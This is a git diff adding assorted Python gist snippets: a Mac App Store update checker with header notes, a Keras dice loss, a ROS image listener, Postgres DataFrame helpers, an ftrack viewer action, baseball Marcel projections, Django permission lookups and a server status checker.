+                     'installed-version-identifier': an_app.get('installed-version-identifier', 0)}
+        local_software.append(app_entry)
+    plist_dict = {'local-software': local_software}
+    plist_str = plistlib.writePlistToString(plist_dict)
+    request.add_data(plist_str)
+    # Build the connection
+    response_handle = urllib2.urlopen(request)
+    response = response_handle.read()
+    response_handle.close()
+    # Currently returning the raw response
+    # Initial analysis:
+    # - It appears that applications that need updating will be under the 'incompatible-items' key
+    # - 'version-external-identifiers' is a list of historical versions, in order
+    # - 'version-external-identifier' is the current version
+    # - 'current-version' is the CFBundleShortVersionString
+    # - 'bundle-id' is the CFBundleIdentifier
+    # - 'preflight' is a *very* interesting 'pfpkg'. See details at bottom.
+    return plistlib.readPlistFromString(response)
+
+"""
+Details regarding .pfpkg type:
+Non-standard package format, but still a xar archive (just no bom inside). Appears to contain a single "Distribution"
+file which an example is included below.
+---
+<?xml version="1.0" encoding="utf-8" standalone="no"?>
+<installer-gui-script minSpecVersion="2">
+    <pkg-ref id="com.evernote.Evernote">
+        <bundle-version>
+            <bundle CFBundleShortVersionString="5.4.3" CFBundleVersion="402230" id="com.evernote.Evernote" path="Evernote.app"/>
+        </bundle-version>
+    </pkg-ref>
+    <product id="com.evernote.Evernote" version="5.4.3"/>
+    <title>Evernote</title>
+    <options customize="never" require-scripts="false" hostArchitectures="x86_64,i386" productKBytes="47573"/>
+    <volume-check>
+        <allowed-os-versions>
+            <os-version min="10.6.6"/>
+        </allowed-os-versions>
+    </volume-check>
+    <choices-outline>
+        <line choice="default">
+            <line choice="com.evernote.Evernote"/>
+        </line>
+    </choices-outline>
+    <choice id="default" title="Evernote" versStr="5.4.3"/>
+    <choice id="com.evernote.Evernote" title="Evernote" visible="false" customLocation="/Applications">
+        <pkg-ref id="com.evernote.Evernote"/>
+    </choice>
+    <pkg-ref id="com.evernote.Evernote" version="5.4.3" onConclusion="none" installKBytes="157335">#com.evernote.Evernote.pkg</pkg-ref>
+</installer-gui-script>
+----
+
+Additional useful URLs:
+
+Cookie analysis from raw headers sent via Mac App Store app:
+mzf_odc = x-apple-application-site
+mzf_in = x-apple-application-instance
+ns-mzf-inst = unique transaction/record handled by instance (?)
+X-Dsid = your unique Apple ID numeric identifier (verifiable under Profile page under dev center when logged in)
+Pod=44; itspod=44   - unsure
+
+X-Apple-TZ: 
+Apparently the x-apple-tz header is UTC offset *60 *60. according to https://github.com/cancan101/xbmc-itunesu/blob/master/TunesViewerBase.py
+"""
+
+### New! Search your machine for the App Store information, no need to directly parse receipts
+
+from Foundation import NSMetadataQuery, NSPredicate, NSRunLoop, NSDate
+
+def find_app_store_apps(dirlist=None):
+    query = NSMetadataQuery.alloc().init()
+    query.setPredicate_(NSPredicate.predicateWithFormat_('(kMDItemAppStoreHasReceipt = "1")'))
+    if dirlist:
+        query.setSearchScopes_(dirlist)
+    query.startQuery()
+    runtime = 0
+    maxruntime = 20
+    while query.isGathering() and runtime <= maxruntime:
+        runtime += 0.3
+        NSRunLoop.currentRunLoop().runUntilDate_(NSDate.dateWithTimeIntervalSinceNow_(0.3))
+    query.stopQuery()
+    if runtime >= maxruntime:
+        print 'Spotlight search terminated'
+    app_details = []
+    for an_app in query.results():
+        app_metadata = an_app.valuesForAttributes_(an_app.attributes())
+        app_dict = {}
+        app_dict['CFBundleIdentifier'] = app_metadata['kMDItemCFBundleIdentifier']
+        app_dict['CFBundleShortVersionString'] = app_metadata['kMDItemVersion']
+        app_dict['adam-id'] = app_metadata['kMDItemAppStoreAdamID']
+        app_dict['installed-version-identifier'] = int(app_metadata['kMDItemAppStoreInstallerVersionID'])
+        app_details.append(app_dict)
+    return app_details
+
+### Then try running this :)
+
+check_app_updates(find_app_store_apps())
diff --git a/hard-gists/7793e2058c5c9dacb5212c0ac0b18a8a/._snippet.py b/hard-gists/7793e2058c5c9dacb5212c0ac0b18a8a/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/7793e2058c5c9dacb5212c0ac0b18a8a/._snippet.py differ
diff --git a/hard-gists/7793e2058c5c9dacb5212c0ac0b18a8a/snippet.py b/hard-gists/7793e2058c5c9dacb5212c0ac0b18a8a/snippet.py
new file mode 100644
index 00000000..aaceff88
--- /dev/null
+++ b/hard-gists/7793e2058c5c9dacb5212c0ac0b18a8a/snippet.py
@@ -0,0 +1,42 @@
+"""
+Here is a dice loss for keras which is smoothed to approximate a linear (L1) loss.
+It ranges from 1 to 0 (no error), and returns results similar to binary crossentropy
+"""
+
+# define custom loss and metric functions 
+
+from keras import backend as K
+
+def dice_coef(y_true, y_pred, smooth=1):
+    """
+    Dice = (2*|X & Y|)/ (|X|+ |Y|)
+         =  2*sum(|A*B|)/(sum(A^2)+sum(B^2))
+    ref: https://arxiv.org/pdf/1606.04797v1.pdf
+    """
+    intersection = K.sum(K.abs(y_true * y_pred), axis=-1)
+    return (2. * intersection + smooth) / (K.sum(K.square(y_true),-1) + K.sum(K.square(y_pred),-1) + smooth)
+
+def dice_coef_loss(y_true, y_pred):
+    return 1-dice_coef(y_true, y_pred)
+    
+    
+# Test
+y_true = np.array([[0,0,1,0],[0,0,1,0],[0,0,1.,0.]])
+y_pred = np.array([[0,0,0.9,0],[0,0,0.1,0],[1,1,0.1,1.]])
+
+r = dice_coef_loss(
+    K.theano.shared(y_true),
+    K.theano.shared(y_pred),
+).eval()
+print('dice_coef_loss',r)
+
+
+r = keras.objectives.binary_crossentropy(
+    K.theano.shared(y_true),
+    K.theano.shared(y_pred),
+).eval()
+print('binary_crossentropy',r)
+print('binary_crossentropy_scaled',r/r.max())
+# TYPE                 |Almost_right |half right |all_wrong
+# dice_coef_loss      [ 0.00355872    0.40298507  0.76047904]
+# binary_crossentropy [ 0.0263402     0.57564635  12.53243514]
diff --git a/hard-gists/77a1a4d5506258f3dc1f/._snippet.py b/hard-gists/77a1a4d5506258f3dc1f/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/77a1a4d5506258f3dc1f/._snippet.py differ
diff --git a/hard-gists/77a1a4d5506258f3dc1f/snippet.py b/hard-gists/77a1a4d5506258f3dc1f/snippet.py
new file mode 100644
index 00000000..4a065a82
--- /dev/null
+++ b/hard-gists/77a1a4d5506258f3dc1f/snippet.py
@@ -0,0 +1,44 @@
+#! /usr/bin/python
+# Copyright (c) 2015, Rethink Robotics, Inc.
+
+# Using this CvBridge Tutorial for converting
+# ROS images to OpenCV2 images
+# http://wiki.ros.org/cv_bridge/Tutorials/ConvertingBetweenROSImagesAndOpenCVImagesPython
+
+# Using this OpenCV2 tutorial for saving Images:
+# http://opencv-python-tutroals.readthedocs.org/en/latest/py_tutorials/py_gui/py_image_display/py_image_display.html
+
+# rospy for the subscriber
+import rospy
+# ROS Image message
+from sensor_msgs.msg import Image
+# ROS Image message -> OpenCV2 image converter
+from cv_bridge import CvBridge, CvBridgeError
+# OpenCV2 for saving an image
+import cv2
+
+# Instantiate CvBridge
+bridge = CvBridge()
+
+def image_callback(msg):
+    print("Received an image!")
+    try:
+        # Convert your ROS Image message to OpenCV2
+        cv2_img = bridge.imgmsg_to_cv2(msg, "bgr8")
+    except CvBridgeError, e:
+        print(e)
+    else:
+        # Save your OpenCV2 image as a jpeg 
+        cv2.imwrite('camera_image.jpeg', cv2_img)
+
+def main():
+    rospy.init_node('image_listener')
+    # Define your image topic
+    image_topic = "/cameras/left_hand_camera/image"
+    # Set up your subscriber and define its callback
+    rospy.Subscriber(image_topic, Image, image_callback)
+    # Spin until ctrl + c
+    rospy.spin()
+
+if __name__ == '__main__':
+    main()
\ No newline at end of file
diff --git a/hard-gists/77a4640bb5fcd1e7f038/._snippet.py b/hard-gists/77a4640bb5fcd1e7f038/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/77a4640bb5fcd1e7f038/._snippet.py differ
diff --git a/hard-gists/77a4640bb5fcd1e7f038/snippet.py b/hard-gists/77a4640bb5fcd1e7f038/snippet.py
new file mode 100644
index 00000000..222ac8b6
--- /dev/null
+++ b/hard-gists/77a4640bb5fcd1e7f038/snippet.py
@@ -0,0 +1,111 @@
+#!/usr/bin/env python
+# -*- coding: utf-8 -*-
+
+import psycopg2
+from basiclogger import pyLogger
+#from datetime import datetime
+from pandas import DataFrame
+from sqlalchemy import create_engine
+
+FILENAME = 'dataframetopostgres.log'
+
+
+class Df2Pg:
+    """Puts the data in the DataFrame in a Postgres database
+    """
+    class ReadFaker:
+        """ This could be extended to include the index column optionally. Right now the index
+        is not inserted
+        """
+        def __init__(self, data):
+            self.iter = list(data.itertuples())
+
+        def readline(self, size=None):
+            try:
+                prop = self.iter.pop(0)
+                line = prop[1:]  # element 0 is the index
+                row = '\t'.join(x if isinstance(x, str) else str(x) for x in line) + '\n'
+            # in my case all strings in line are unicode objects.
+            except IndexError:
+                return ''
+            else:
+                return row
+
+        read = readline
+
+    def __init__(self, df, user, password, host, port, databasename, table, columns=None, logname=FILENAME):
+        """ Gets:
+
+        df       - the dataframe
+        table    - the table name
+        conn_str - psycopg2 connection string
+        columns  - list with field names
+
+        example:
+
+          Df2Pg(df, user, pass, host, port, dbname, 's_schema.t_table', ['field1','field2'])
+
+        """
+        self.logger = pyLogger(logname, 'INFO')
+
+        conn_str = 'postgres://{}:{}@{}:{}/{}'.format(user, password, host, port, databasename)
+
+        self.__insert(df, table, conn_str, columns)
+
+    def __insert(self, df, table, conn_str, columns=None):
+
+        #time1 = datetime.now()
+        close_con = False
+
+        inserted_rows = df.shape[0]
+        data = self.ReadFaker(df)
+        con = psycopg2.connect(conn_str)
+
+        try:
+            curs = con.cursor()
+            # self.logger.log.debug('inserting %s entries into %s ...' % (inserted_rows, table))
+            if columns is not None:
+                curs.copy_from(data, table, null='nan', columns=[col for col in columns])
+            else:
+                curs.copy_from(data, table, null='nan')
+            con.commit()
+            curs.close()
+            if close_con:
+                con.close()
+        except psycopg2.Error as e:
+            self.logger.log.error(e.pgerror)
+            self.logger.log.error(e.pgcode)
+            con.rollback()
+            if close_con:
+                con.close()
+            raise e
+
+        #time2 = datetime.now()
+        # self.logger.log.debug(time2 - time1)
+        self.logger.close()
+        return inserted_rows
+
+
+class Pg2Df():
+    """Converts a pg database query into a Pandas DataFrame"""
+    def __init__(self, user, password, host, port, databasename, sql, logname=FILENAME):
+
+        self.logger = pyLogger(logname, 'INFO')
+        self.__insert(user, password, host, port, databasename, sql)
+
+    def __insert(self, user, password, host, port, databasename, sql):
+        """Creates the engine, sends the SQL retrieves the DataFrame"""
+        try:
+            connstring = 'postgres://{}:{}@{}:{}/{}'.format(user, password, host, port, databasename)
+            engine = create_engine(connstring, echo=False, implicit_returning=False)
+            rs = engine.execute(sql)
+            d = rs.fetchall()
+            h = list(rs.keys())
+            self.dtf = DataFrame.from_records(d, columns=h)
+            engine.dispose()
+        except Exception as e:
+            self.logger.log.error('Error recuperando de la base de datos')
+            self.logger.log.error(e)
+            raise e
+        self.logger.close()
+        return self.dtf
diff --git a/hard-gists/77d02d8f2f09e27de08b/._snippet.py b/hard-gists/77d02d8f2f09e27de08b/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/77d02d8f2f09e27de08b/._snippet.py differ
diff --git a/hard-gists/77d02d8f2f09e27de08b/snippet.py b/hard-gists/77d02d8f2f09e27de08b/snippet.py
new file mode 100644
index 00000000..274d2d7a
--- /dev/null
+++ b/hard-gists/77d02d8f2f09e27de08b/snippet.py
@@ -0,0 +1,176 @@
+import sys
+import argparse
+import logging
+import os
+import getpass
+import pprint
+import subprocess
+
+import ftrack
+
+
+class DJVViewer(ftrack.Action):
+    '''Custom action.'''
+
+    #: Action identifier.
+    identifier = 'djvviewer'
+
+    #: Action label.
+    label = 'DJV Viewer'
+
+
+    def __init__(self):
+        '''Initialise action handler.'''
+        self.log = logging.getLogger(
+            __name__ + '.' + self.__class__.__name__
+        )
+
+    def register(self):
+        '''Register action.'''
+        ftrack.EVENT_HUB.subscribe(
+            'topic=ftrack.action.discover and source.user.username={0}'.format(
+                getpass.getuser()
+            ),
+            self.discover
+        )
+
+        ftrack.EVENT_HUB.subscribe(
+            'topic=ftrack.action.launch and source.user.username={0} '
+            'and data.actionIdentifier={1}'.format(
+                getpass.getuser(), self.identifier
+            ),
+            self.launch
+        )
+
+
+    def discover(self, event):
+
+        return {
+            'items': [{
+                'label': self.label,
+                'actionIdentifier': self.identifier,
+            }]
+        }
+
+
+    def launch(self, event):
+        data = event['data']
+        selection = data.get('selection', [])
+
+        if 'values' in event['data']:
+            # Do something with the values or return a new form.
+            values = event['data']['values']
+
+            for item in selection:
+                version = None
+
+                try:
+                    task = ftrack.Task(item['entityId'])
+                    asset = task.getAssets(assetTypes=['img'])[0]
+                    version = asset.getVersions()[-1]
+                except:
+                    version = ftrack.AssetVersion(item['entityId'])
+
+                if version.getAsset().getType().getShort() == 'img':
+
+                    component = None
+                    try:
+                        component = version.getComponent(values['component'])
+                    except:
+                        pass
+
+                    if component:
+                        path = component.getFilesystemPath()
+                        extension = os.path.splitext(path)
+
+                        random_file = None
+                        for f in os.listdir(os.path.dirname(path)):
+                            if f.endswith(extension):
+                                dir_path = os.path.dirname(path)
+                                random_file = os.path.join(dir_path, f)
+                        
+                        djv_path = r'INTALL PATH\bin\djv_view.exe'
+                        args = [djv_path, random_file]
+                        subprocess.Popen(args)
+
+            return {
+                'success': True,
+                'message': 'DJV Viewer launched.'
+            }
+
+        # finding components on version
+        components = []
+        for item in selection:
+            version = None
+
+            try:
+                task = ftrack.Task(item['entityId'])
+                asset = task.getAssets(assetTypes=['img'])[0]
+                version = asset.getVersions()[-1]
+            except:
+                version = ftrack.AssetVersion(item['entityId'])
+
+            if not version.get('ispublished'):
+                version.publish()
+
+            if version.getAsset().getType().getShort() == 'img':
+                for c in version.getComponents():
+                    components.append(c.getName())
+
+        data = []
+        for c in set(components):
+            data.append({'label': c, 'value': c})
+
+        return {
+            'items': [
+                {
+                    'label': 'Component to view',
+                    'type': 'enumerator',
+                    'name': 'component',
+                    'data': data
+                }
+            ]
+        }
+
+
+def register(registry, **kw):
+    '''Register action. Called when used as an event plugin.'''
+    logging.basicConfig(level=logging.INFO)
+    action = DJVViewer()
+    action.register()
+
+
+def main(arguments=None):
+    '''Set up logging and register action.'''
+    if arguments is None:
+        arguments = []
+
+    parser = argparse.ArgumentParser()
+    # Allow setting of logging level from arguments.
+    loggingLevels = {}
+    for level in (
+        logging.NOTSET, logging.DEBUG, logging.INFO, logging.WARNING,
+        logging.ERROR, logging.CRITICAL
+    ):
+        loggingLevels[logging.getLevelName(level).lower()] = level
+
+    parser.add_argument(
+        '-v', '--verbosity',
+        help='Set the logging output verbosity.',
+        choices=loggingLevels.keys(),
+        default='info'
+    )
+    namespace = parser.parse_args(arguments)
+
+    '''Register action and listen for events.'''
+    logging.basicConfig(level=loggingLevels[namespace.verbosity])
+
+    ftrack.setup()
+    action = DJVViewer()
+    action.register()
+
+    ftrack.EVENT_HUB.wait()
+
+
+if __name__ == '__main__':
+    raise SystemExit(main(sys.argv[1:]))
diff --git a/hard-gists/780003/._snippet.py b/hard-gists/780003/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/780003/._snippet.py differ
diff --git a/hard-gists/780003/snippet.py b/hard-gists/780003/snippet.py
new file mode 100644
index 00000000..bf38ed45
--- /dev/null
+++ b/hard-gists/780003/snippet.py
@@ -0,0 +1,268 @@
+## Generate a full season's worth of batting Marcel projections from past years' stats
+
+from createTuple import createTuple ## gist: 778481
+from writeMatrixCSV import writeMatrixCSV ## gist: 778484
+
+def makeBatTable(r):
+    for stat in ['AB', 'H', 'D', 'T', 'HR', 'SO', 'BB', 'SF', 'HP', 'CI']:
+        if stat in r:   pass
+        else:   r[stat] = 0
+    if r['AB'] == 0:
+        r['SLG'] = 0
+        r['AVG'] = 0
+        slg = 0
+    else:
+        avg = float(r['H'])/float(r['AB'])
+        r['AVG'] = round(avg, 3)
+        slg = float(r['H']+r['D']+(2*r['T'])+(3*r['HR']))/float(r['AB'])
+        r['SLG'] = round(slg, 3)
+    if (r['AB']+r['BB']+r['SF']+r['HP']) == 0:
+        r['OBP'] = 0
+        r['OPS'] = 0
+        r['wOBA'] = 0
+    else:
+        pa = float(r['AB']+r['BB']+r['SF']+r['HP']+r['CI'])
+        obp = float(r['H']+r['BB']+r['HP']+r['CI'])/pa
+        r['OBP'] = round(obp, 3)
+        sing = int(r['H']) - int(r['HR']) - int(r['T']) - int(r['D'])
+        num = (.72*int(r['BB'])) + (.75*int(r['HP'])) + (.9*sing) + (1.24*int(r['D'])) + (1.56*int(r['T'])) + (1.95*int(r['HR']))
+        den = int(r['BB']) + int(r['AB']) + int(r['HP'])
+        woba = num/den
+        r['wOBA'] = round(woba, 3)
+    return r
+    
+def marcelBattingSeason(yr):
+    # yr = year being projected, input as int
+    yr = str(yr) 
+    yr1 = str(int(yr) - 1)
+    yr2 = str(int(yr) - 2)
+    yr3 = str(int(yr) - 3)
+
+    ## get list of pitchers; determine which batters are really
+    ## 'batters' and throw out pitchers with at-bats
+    projectBatters = []
+    for yr in [yr3, yr2, yr]:
+        yearPitchers = {}
+        for p in pitchers:
+            pitchID = p[0]
+            if p[1] == yr:
+                yearPitchers[pitchID] = int(p[12])
+            else:   pass
+        for b in batters:
+            batID = b[0]
+            if b[1] == yr:  pass
+            else:   continue
+            abString = b[7]
+            if abString == '':  continue
+            else:   batAb = int(abString)
+            if batID in yearPitchers:
+                if yearPitchers[batID] > batAb: continue
+                else:   pass
+            else:   pass
+            if batID in projectBatters: pass
+            else:   projectBatters.append(batID)
+
+    ## find league average for previous year
+    yearPitchers = {}
+    for p in pitchers:
+        pitchID = p[0]
+        if p[1] == yr1:
+            yearPitchers[pitchID] = int(p[12])
+        else:   pass
+
+    leagueAverage = {}
+    for b in batters:
+        batID = b[0]
+        if b[1] == yr1:  pass
+        else:   continue
+        abString = b[7]
+        if abString == '':  continue
+        else:   batAb = int(abString)
+        if batID in yearPitchers:
+            if yearPitchers[batID] > batAb: continue
+            else:   pass
+        else:   pass
+        if batID in projectBatters: pass
+        else:   projectBatters.append(batID)
+        for stat in batHeaders:
+            col = batHeaders[stat]
+            try:    playerStat = int(b[col])
+            except: continue
+            else:   pass
+            if stat in leagueAverage:
+                leagueAverage[stat] += playerStat
+            else:
+                leagueAverage[stat] = playerStat
+
+    for stat in ['HP', 'SF', 'SH']:
+        if stat in leagueAverage:   pass
+        else:   leagueAverage[stat] = 0
+    totalPa = leagueAverage['AB'] + leagueAverage['BB'] + leagueAverage['HP'] + leagueAverage['SF'] + leagueAverage['SH']
+    regression = {}
+    for stat in leagueAverage:
+        regression[stat] =(1200.0/totalPa)*leagueAverage[stat]
+
+    rawProjections = {}
+
+    ## calculate projections for each player
+    for b in projectBatters:
+        components = {}
+        y2pa = 0
+        y1pa = 0
+        for stat in batHeaders:
+            components[stat] = 0
+        for row in batters:
+            if row[0] == b: pass
+            else:   continue
+            if row[1] == yr3:
+                for stat in batHeaders:
+                    try:    playerStat = int(row[batHeaders[stat]])
+                    except: continue
+                    components[stat] += 3*playerStat
+            elif row[1] == yr2:
+                for stat in batHeaders:
+                    try:    playerStat = int(row[batHeaders[stat]])
+                    except: continue
+                    components[stat] += 4*playerStat
+                
+                for stat in ['AB', 'BB', 'HP', 'SF', 'SH']:
+                    try:    y2pa += int(row[batHeaders[stat]])
+                    except: continue                
+            elif row[1] == yr1:
+                for stat in batHeaders:
+                    try:    playerStat = int(row[batHeaders[stat]])
+                    except: continue
+                    components[stat] += 5*playerStat
+                
+                for stat in ['AB', 'BB', 'HP', 'SF', 'SH']:
+                    try:    y1pa += int(row[batHeaders[stat]])
+                    except: continue
+            else:   continue
+        ## add regression component
+        for stat in regression:
+            components[stat] += regression[stat]
+        ## get projected PA
+        projPa = 0.5*y1pa + 0.1*y2pa + 200
+        ## prorate into projected PA
+        compPa = components['AB'] + components['BB'] + components['HP'] + components['SF'] + components['SH']
+        prorateProj = {}
+        for stat in components:
+            prorateProj[stat] = (projPa/compPa)*components[stat]
+        prorateProj['PA'] = projPa
+        try:    age = int(yr) - int(birthYear[b])
+        except: age = 29 ## in case birthyear is missing or corrupted
+        ## age adjust
+        if age > 29:
+            ageAdj = 1/(1 + ((age - 29)*0.003))
+        elif age < 29:
+            ageAdj = 1 + ((29 - age)*0.006)
+        else:
+            ageAdj = 1
+        finalProj = {}
+        for stat in prorateProj:
+            if stat in ['PA', 'AB']:
+                finalProj[stat] = prorateProj[stat]
+            elif stat in ['R', 'H', 'D', 'T', 'HR', 'RBI', 'SB', 'BB', 'IBB', 'HP', 'SH', 'SF']:
+                finalProj[stat] = prorateProj[stat]*ageAdj
+            else:
+                finalProj[stat] = prorateProj[stat]/ageAdj
+        ## reliability
+        reliab = 1 - (1200.0/compPa)
+        finalProj['rel'] = round(reliab, 2)
+        finalProj['Age'] = age
+        ## add to main dict
+        rawProjections[b] = finalProj
+
+    ## re-baseline
+    projTotal = {}
+    for pl in rawProjections:
+        for stat in rawProjections[pl]:
+            if stat in projTotal:
+                projTotal[stat] += rawProjections[pl][stat]
+            else:
+                projTotal[stat] = rawProjections[pl][stat]
+    projTotalPa = projTotal['PA']
+    projRatios = {}
+    for stat in ['AB', 'R', 'H', 'D', 'T', 'HR', 'RBI', 'SB', 'CS', 'BB', 'SO', 'IBB', 'HP', 'SH', 'SF', 'GDP']:
+        projRatios[stat] = projTotal[stat]/projTotalPa
+
+    trueRatios = {}
+    for stat in ['AB', 'R', 'H', 'D', 'T', 'HR', 'RBI', 'SB', 'CS', 'BB', 'SO', 'IBB', 'HP', 'SH', 'SF', 'GDP']:
+        try:    trueRatios[stat] = leagueAverage[stat]/float(totalPa)
+        except: trueRatios[stat] = 0
+
+    marcels = {}
+    for pl in rawProjections:
+        marcels[pl] = {}
+        for stat in rawProjections[pl]:
+            if stat in ['AB', 'R', 'H', 'D', 'T', 'HR', 'RBI', 'SB', 'CS', 'BB', 'SO', 'IBB', 'HP', 'SH', 'SF', 'GDP']:
+                if projRatios[stat] == 0:
+                    marcels[pl][stat] = rawProjections[pl][stat]
+                else:
+                    marcels[pl][stat] = round((trueRatios[stat]/projRatios[stat])*rawProjections[pl][stat], 0)
+            elif stat == 'PA':
+                marcels[pl][stat] = round(rawProjections[pl][stat], 0)
+            else:
+                marcels[pl][stat] = rawProjections[pl][stat]
+
+    header = ['bdbID', 'First', 'Last', 'Year', 'age', 'rel', 'wOBA', 'AVG', 'OBP', 'SLG',
+                     'PA', 'AB', 'R', 'H', 'D', 'T', 'HR', 'RBI',
+                     'SB', 'CS', 'BB', 'SO', 'IBB', 'HP', 'SH', 'SF', 'GDP']
+
+    marcelSheet = [header]
+    for pl in marcels:
+        row = [pl]
+        row += firstlast[pl]
+        row.append(yr)
+        marcels[pl] = makeBatTable(marcels[pl])
+        for stat in ['Age', 'rel', 'wOBA', 'AVG', 'OBP', 'SLG',
+                     'PA', 'AB', 'R', 'H', 'D', 'T', 'HR', 'RBI',
+                     'SB', 'CS', 'BB', 'SO', 'IBB', 'HP', 'SH', 'SF', 'GDP']:
+            row.append(marcels[pl][stat])
+        marcelSheet.append(row)
+
+    filename = 'marcel_batters_' + yr + '.csv'
+    writeMatrixCSV(marcelSheet, filename)
+
+batHeaders = {'AB': 7,
+              'R': 8,
+              'H': 9,
+              'D': 10,
+              'T': 11,
+              'HR': 12,
+              'RBI': 13,
+              'SB': 14,
+              'CS': 15,
+              'BB': 16,
+              'SO': 17,
+              'IBB': 18,
+              'HP': 19,
+              'SH': 20,
+              'SF': 21,
+              'GDP': 22
+              }
+
+
+pitchers = createTuple('bdb_pitching.csv')
+## this is the pitcher seasons sheet from the lahman db.  headers:
+## playerID,yearID,stint,teamID,lgID,W,L,G,GS,CG,SHO,SV,Ipouts,H,ER,HR,BB,SO,Baopp,ERA,IBB,WP,HP,BK,BFP,GF,R
+
+batters = createTuple('bdb_batting.csv')
+## this is the batting seasons sheet from the lahman db.  headers:
+## playerID,yearID,stint,teamID,lgID,G,G_batting,AB,R,H,D,T,HR,RBI,SB,CS,BB,SO,IBB,HP,SH,SF,GIDP,G_old
+
+## main db for birthYear
+main = createTuple('bdb_main.csv')
+## main biographical data sheet from lahman db.  headers:
+## lahmanID,playerID,managerID,hofID,birthYear,birthMonth,birthDay,birthCountry,birthState,birthCity,deathYear,deathMonth,deathDay,deathCountry,deathState,deathCity,nameFirst,nameLast,nameNote,nameGiven,nameNick,weight,height,bats,throws,debut,finalGame,college,lahman40ID,lahman
+
+birthYear = {}
+for pl in main:
+    birthYear[pl[1]] = pl[4]
+
+firstlast = {}
+for pl in main:
+    firstlast[pl[1]] = [pl[16], pl[17]]
+
+## sample usage 
+marcelBattingSeason(2005)
\ No newline at end of file
diff --git a/hard-gists/780263/._snippet.py b/hard-gists/780263/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/780263/._snippet.py differ
diff --git a/hard-gists/780263/snippet.py b/hard-gists/780263/snippet.py
new file mode 100644
index 00000000..efbec191
--- /dev/null
+++ b/hard-gists/780263/snippet.py
@@ -0,0 +1,19 @@
+from django.contrib.auth.models import Permission
+from django.contrib.contenttypes.models import ContentType
+
+from myapp.models import MyModel
+
+
+content_type = ContentType.objects.get_for_model(MyModel)
+
+permissions = Permission.objects.filter(content_type=content_type)
+
+# permissions will be a list of Permissions objects
+
+# if you want to get a specific one of the add/change/delete permissions:
+permission = Permission.objects.filter(content_type=content_type, codename__startswith='change_')
+# replace change_ with add_ or delete_ for the other permissions
+
+# and an alternative method:
+perm_name = MyModel._meta.get_add_permission()
+perm = Permission.objects.get(codename=perm_name)
\ No newline at end of file
diff --git a/hard-gists/780379/._snippet.py b/hard-gists/780379/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/780379/._snippet.py differ
diff --git a/hard-gists/780379/snippet.py b/hard-gists/780379/snippet.py
new file mode 100644
index 00000000..81d605b7
--- /dev/null
+++ b/hard-gists/780379/snippet.py
@@ -0,0 +1,63 @@
+import urllib
+import urllib2
+import socket
+
+from google.appengine.api import urlfetch
+from google.appengine.api.urlfetch import DownloadError
+
+from google.appengine.ext import db
+from models import Status, Service, Event
+from datetime import datetime, timedelta, date
+
+
+results = {}
+servers = [
+	{
+		"service": "a_server",
+		"url": "http://aserver.com"
+	},
+	{
+		"service": "another_server",
+		"url": "http://anotherserver.com"
+	}
+]
+
+def serverisup (service):
+	# Create a new event with the given status and given service
+	service = Service.get_by_slug(service)
+	status = Status.get_by_slug("up")        
+
+	e = Event(service=service, status=status, message="The server is responding.")
+	e.put()
+
+	
+def serverisdown (service):
+	# Create a new event with the given status and given service
+	service = Service.get_by_slug(service)
+	status = Status.get_by_slug("down")        
+
+	e = Event(service=service, status=status, message="The server could not be reached")
+	e.put()
+	
+
+def check(service,url):
+	print "Checking " + service + " (" + url + ")..."
+	
+	try:
+		results[service] = urlfetch.fetch(url, headers = {'Cache-Control' : 'max-age=30'}, deadline=30 )
+		
+	except urlfetch.Error:
+		serverisdown(service)
+	
+	except DownloadError:
+		serverisdown(service)
+		
+	else:
+		if results[service].status_code == 500:
+			serverisdown(service)
+		else:
+			serverisup(service)
+
+
+for row in servers:
+	check(row['service'],row['url'])
\ No newline at end of file
diff --git a/hard-gists/7804540/._snippet.py b/hard-gists/7804540/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/7804540/._snippet.py differ
diff --git a/hard-gists/7804540/snippet.py b/hard-gists/7804540/snippet.py
new file mode 100644
index 00000000..93f4b096
--- /dev/null
+++ b/hard-gists/7804540/snippet.py
@@ -0,0 +1,57 @@
+import psycopg2
+import psycopg2.extensions
+from select import select
+from twisted.internet import threads
+
+class AsyncNotify():
+    """
+    based on http://divillo.com/, adapted to newer psycopg version
+    
+    Class to trigger a function via PostgreSQL NOTIFY messages. 
+    Refer to the documentation for more information on LISTEN, NOTIFY and UNLISTEN. 
+    http://www.postgresql.org/docs/8.3/static/sql-notify.html
+    """
+
+    timeout = 3
+    
+    def __init__(self, dsn):
+        """The dsn is passed here. This class requires the psycopg2 driver."""
+        self.conn = psycopg2.connect(dsn)
+        self.conn.set_isolation_level(psycopg2.extensions.ISOLATION_LEVEL_AUTOCOMMIT)
+        self.curs = self.conn.cursor()
+        self.__listening = False
+
+    def __listen(self):
+        if self.__listening:
+            return 'already listening!'
+        else:
+            self.__listening= True
+            while self.__listening:
+                if select([self.conn],[],[],self.timeout) != ([],[],[]):
+                    self.conn.poll()
+                    while self.conn.notifies:
+                        pid, notify = self.conn.notifies.pop()
+                        self.gotNotify(pid, notify)
+
+    def addNotify(self, notify):
+        """Subscribe to a PostgreSQL NOTIFY"""
+        sql = "LISTEN %s" % notify
+        self.curs.execute(sql)
+
+    def removeNotify(self, notify):
+        """Unsubscribe a PostgreSQL LISTEN"""
+        sql = "UNLISTEN %s" % notify
+        self.curs.execute(sql)
+
+    def stop(self):
+        """Call to stop the listen thread"""
+        self.__listening = False
+
+    def run(self):
+        """Start listening in a thread and return that as a deferred"""
+        return threads.deferToThread(self.__listen)
+
+    def gotNotify(self, pid, notify):
+        """Called whenever a notification subscribed to by addNotify() is detected.
+        Unless you override this method and do someting this whole thing is rather pointless."""
+        pass
diff --git a/hard-gists/7805193/._snippet.py b/hard-gists/7805193/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/7805193/._snippet.py differ
diff --git a/hard-gists/7805193/snippet.py b/hard-gists/7805193/snippet.py
new file mode 100644
index 00000000..965c40d6
--- /dev/null
+++ b/hard-gists/7805193/snippet.py
@@ -0,0 +1,21 @@
+from django.contrib.gis.db import models
